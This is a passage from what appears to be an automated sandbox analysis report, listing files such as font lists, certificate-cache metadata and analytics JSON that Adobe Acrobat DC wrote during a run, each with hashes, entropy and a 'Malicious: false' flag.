Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7543291572487476
Encrypted:	false
SSDEEP:	3:kkFklti+El/tfllXlE/HT8kvblltNNX8RolJuRdxLlGB9lQRYwpDdt:kKHpl/eT8mbllTNMa8RdWBwRd
MD5:	ABE368B86FFE067665D559F81ED8BCB5
SHA1:	1DEB08758ECD40399A0B61B5A463295634284A1E
SHA-256:	A67F160B4BC9296A102478CE30E2EA5E071BE4DF180FBB36461E67F28868A286
SHA-512:	AF01A13943B1995A80A7093D36578C91676F4C6EEB0515C10A786565843C56D9BFDD38F1C1EE3DF57D726CBD8153F5FD30EE8E863F50F84FCE45A1ACE398D73A
Malicious:	false
Preview:	p...... ........^..'hc..(....................................................... ..........W....J?..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2166031644902113
Encrypted:	false
SSDEEP:	6:kKZL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:RiDImsLNkPlE99SNxAhUe/3
MD5:	10AA4B61CF2E49BEAE02ADACD5B339B6
SHA1:	B2937F387B566991CBF5C37C3801F67CBD008E27
SHA-256:	57A0C640617FBDBEEB415F72E9833EFAA2AD8229257BFF98CC3BE063B4820176
SHA-512:	4329A905510FEF137AA05F754EA6462120AC41C915994B3526EBB8D27751A77D4106F5E57938253930FBCBCA865EA99E77EE3262A1DF084E551068A6A3D21DA9
Malicious:	false
Preview:	p...... .........sq9hc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5432

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5432

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.332621506378322
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJM3g98kUwPeUkwRe9:YvXKXMy2vR/ZwHA25GMbLUkee9
MD5:	FC30B16D4BC6F973B000B56941026F49
SHA1:	CAB8DA8D0E0D84A1FEEC560686AE8166630FDF92
SHA-256:	4C51AFA043F9C48365B94E50211A8D5B589DD74CABD70B6876246469F3101073
SHA-512:	A3D123F958E6B393380ADA4C1B21EF32A6412B10ED3636D7FB426458D65AD6EAC0B165DF6EEE1B44FFD5BB22368483040E6F46AFF7483E5AA37EE1C259FBD458
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.269034807800073
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJfBoTfXpnrPeUkwRe9:YvXKXMy2vR/ZwHA25GWTfXcUkee9
MD5:	FC9DCF37D08EA019D9DA2034B4588BA5
SHA1:	C3E6B4B214D083EBAF2712AB0204E5AB90025839
SHA-256:	880FB936F28D3A5050FED4212C81C7AE29166DE128918484144010682BE7B482
SHA-512:	659F66AC60B50E0090001F84EEC16DE91152A24E92B0F0DE141B2283BF2A82D5AD3FD5FB7B635654283AA2930AB1D6A5BD4424ABD6B089FC0BE70E152FB9DD97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.246795878171898
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJfBD2G6UpnrPeUkwRe9:YvXKXMy2vR/ZwHA25GR22cUkee9
MD5:	FF9FFD0FAF03E5FD23A760CED1D177B3
SHA1:	A47A273E4D8E192CBABACDF61A2D39375D0835CE
SHA-256:	49826D07CC5503B1A75EEE17591EB217287FEB149B7F15D5E340000080E6A866
SHA-512:	FF46C7C64DDC93E1F733027CF88309DE6C6D40C319C86CFB7957A5571AE17AA85803CD22CB1DE4982CD2416EE687B646AB6136BAE69993224DE109ED3C884F57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.308491390469623
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJfPmwrPeUkwRe9:YvXKXMy2vR/ZwHA25GH56Ukee9
MD5:	7466E8DA345000A50709D3FC49D7319B
SHA1:	FB0BC8CFE8C50F005541EB04271FB4DBE64C2EF7
SHA-256:	E690A5376D8D6CBF9D0AA20F3CB1EE3C21668824B8DE507DA7EA31AAB6C40F71
SHA-512:	6C86403013BDCFD794EED8BE4B7F3CFA971A4866D39D0B6775C392974EE12A2DDD38E918358AC2BB23D23792F82908846FDCB505ADC9E1E85F83DA416177F566
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686349686996601
Encrypted:	false
SSDEEP:	24:Yv6X4JhiepLgE9cQx8LennAvzBvkn0RCmK8czOCCSq1:Yv1Jhiehgy6SAFv5Ah8cv/q1
MD5:	C5F48A1BE880B03A49723DF596DE3C6B
SHA1:	93C653829242EF834C320F8E5728BA8A13AFD449
SHA-256:	506ACBC23C2635C9EF906D191340A6A3D89C83B8DC59280B6309F06E11D1FB6E
SHA-512:	A56FB39A0EFDCEA4FA76D47FE8F09FF2F15F54B7DEB675948DC8B7316ECC62E829DD2BBABF2A4098C753570A4BFC6380E8E15FEF063B715FB00828C6C3C6B393
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.25604356126017
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJf8dPeUkwRe9:YvXKXMy2vR/ZwHA25GU8Ukee9
MD5:	69268A8488211D561E57315B136C8880
SHA1:	CBFB94466892048D5B4426797E2EFBB1C0282463
SHA-256:	267D994C3F5E6859E222127B1B3706F6E16DB337EEBC29667DE8852CCDAEE8F9
SHA-512:	E6DDCA6175F3F86356C0F0F2B381C23DB67FB72B298AD57C757FEDBF1DA07D89E5490FA2FA88E96C78985A34B39910FCDB99E05CDD80AF4C27E9E829DD312070
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.254574339372175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJfQ1rPeUkwRe9:YvXKXMy2vR/ZwHA25GY16Ukee9
MD5:	7169A6A77AE8D5C9CE9D7ADE60180C29
SHA1:	378A5B18B62A4808F99507E6A91B0C6AFD761818
SHA-256:	ECFD2012DC53FDDF9B2365AF2AB7B38225C7E696865627E09825B8E1D475FB6D
SHA-512:	714C0FCB013A6D8543E671CD9EDBBF1AAC7312BAA7C37FC48BD5474B9B5C7CC6653E64F051ABA6EF09DFAE9D243DB7450C94622D41E650FDB5AEE4922F68216F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271382070074642
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJfFldPeUkwRe9:YvXKXMy2vR/ZwHA25Gz8Ukee9
MD5:	AAA7DA65C92A40DF5689CA2EE8DEDF48
SHA1:	8F1538249A90B8131F569998F0C0268823E6F380
SHA-256:	2ECB81FB903FD4755E3A78D276C5C1C21F3A74ABA11B0B871AAC1B22EBCA9BA9
SHA-512:	B86CAC5BBEF6CF14A258E0A45ACCDBC14F1708E5A19313B3DF33CA446555AD17FE6C5278E9387FA6426D2746E17EE4FD9677BB2F3EDF9F47B1315B8467F6CAF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.28609830412451
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJfzdPeUkwRe9:YvXKXMy2vR/ZwHA25Gb8Ukee9
MD5:	C78E8FA39DEAB73046B48FA3A37935AA
SHA1:	D32C01DB9781E7496487B16A0F99085D1C556E9F
SHA-256:	B46F607A9124F45104824B78E74C5DCBC4A6E1E04E6CA8D1C035C8D762385B75
SHA-512:	4706C433401FD19D76799BB19F0B3E37692D296ECAD170370D112C7F586D55C1FBEF68666A6DEF8DF1A1E5519800675BBFBEEB8DCD0FDA13AAB137D52A93B3EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.265757599409566
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJfYdPeUkwRe9:YvXKXMy2vR/ZwHA25Gg8Ukee9
MD5:	56933031D9EB74F9EFFF498DDB4403FA
SHA1:	8BA47877FB08235BBFF50213C775232C852AF2E5
SHA-256:	37C320D4F04AABB324072837FB2D90C00BE5AA2D68B270D03E01286D395EE131
SHA-512:	3306178CCA8DE18979707F3CAC4C52ABA2116CB5C05F8B4DE9B966FCC22947E00F77C3F4BE35DC5B0A13546E986A64B286D0BBAA2065F8DCC4581C8BC9E6232F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.251504103994757
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJf+dPeUkwRe9:YvXKXMy2vR/ZwHA25G28Ukee9
MD5:	C5110C21F38A01C68CA242E31DAEA314
SHA1:	158462C198D8C4A21537853B4B7C9FFBE3AEF7F7
SHA-256:	EC0AB06A3C168CB1F95C08323DEBA5A89D87015AE8EDD1229F11D0B11498E5DA
SHA-512:	BFCCD443D4ACBC1104B339B9B8C2A1364A5FD78C6714B8FBEAF5E240ABDF282FA2862D712601D9397D0C48EF10CB44F45BA9107E077D8B2B0B88FD63911EEB61
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8cec188-98dc-4347-9c79-d0e6916385b4","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736692788616,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.249540040042814
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMffS2vB3/dVlPIHAR0YiDeoAvJfbPtdPeUkwRe9:YvXKXMy2vR/ZwHA25GDV8Ukee9
MD5:	873031B429390CDF7C133E1696F4C872
